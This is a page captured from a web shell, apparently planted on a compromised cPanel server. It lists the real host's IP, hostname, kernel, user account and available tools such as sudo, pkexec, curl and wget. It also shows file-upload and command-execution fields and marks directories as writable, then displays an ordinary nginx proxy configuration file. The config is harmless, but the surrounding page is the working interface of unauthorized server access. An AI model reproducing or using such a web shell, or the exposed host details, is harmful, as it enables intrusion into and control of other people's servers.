BotaxWebshell
Server IP : 68.178.172.28  /  Your IP : 216.73.216.26
Web Server : Apache
System : Linux 28.172.178.68.host.secureserver.net 4.18.0-553.89.1.el8_10.x86_64 #1 SMP Mon Dec 8 03:53:08 EST 2025 x86_64
User : kiskarnal ( 1003)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : ON |  Sudo : ON |  Pkexec : ON
Directory :  /var/nginx/conf.d/includes-optional/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /var/nginx/conf.d/includes-optional/cpanel-proxy.conf
proxy_hide_header Upgrade; # needed to avoid h2 problem, will just fallback to `proxy_http_version`

# # Always upgrade to HTTP/1.1
# proxy_hide_header Upgrade;
# proxy_http_version 1.1;
# Instead of ^^^:
#    We use the default proxy_http_version of 1.0 to avoid 421 errors introduced by Apache v2.4.64

# Headers
proxy_set_header Accept-Encoding "";  # Optimize encoding
proxy_set_header Connection "";  # Enable keepalives
proxy_set_header Host $host;
proxy_set_header Proxy "";
proxy_set_header Referer $http_referer;

set $forwarded_host $host;
if ($CPANEL_SERVICE_SUBDOMAIN) {
    set $forwarded_host "";
}

# X headers
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Host $forwarded_host;
proxy_set_header X-Forwarded-Port $server_port;
proxy_set_header X-Forwarded-Proto $scheme;
proxy_set_header X-Forwarded-Server $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header CF-Connecting-IP $http_cf_connecting_ip;
proxy_set_header CF-Visitor $http_cf_visitor;

# non-headers
proxy_connect_timeout 300s;
proxy_read_timeout 300s;
proxy_send_timeout 300s;
proxy_buffers 256 16k;
proxy_buffer_size 128k;
proxy_busy_buffers_size 256k;
proxy_temp_file_write_size 256k;
set $CACHE_KEY_PREFIX "";
include conf.d/includes-optional/set-CACHE_KEY_PREFIX.conf;
proxy_cache_key "$CACHE_KEY_PREFIX$scheme://$host$request_uri";
proxy_ssl_server_name on;
proxy_ssl_name $host;

# Because we are proxying to multiple virtual hosts on the same IP (SNI-based routing):
#    We disable session reuse to avoid collisions (421)
proxy_ssl_session_reuse off;

# Vendor specific headers
include conf.d/includes-optional/cpanel-proxy-vendors/*.conf;

# cPanel specific headers
include conf.d/includes-optional/cpanel-proxy-xt.conf;

Youez - 2016 - github.com/yon3zu
LinuXploit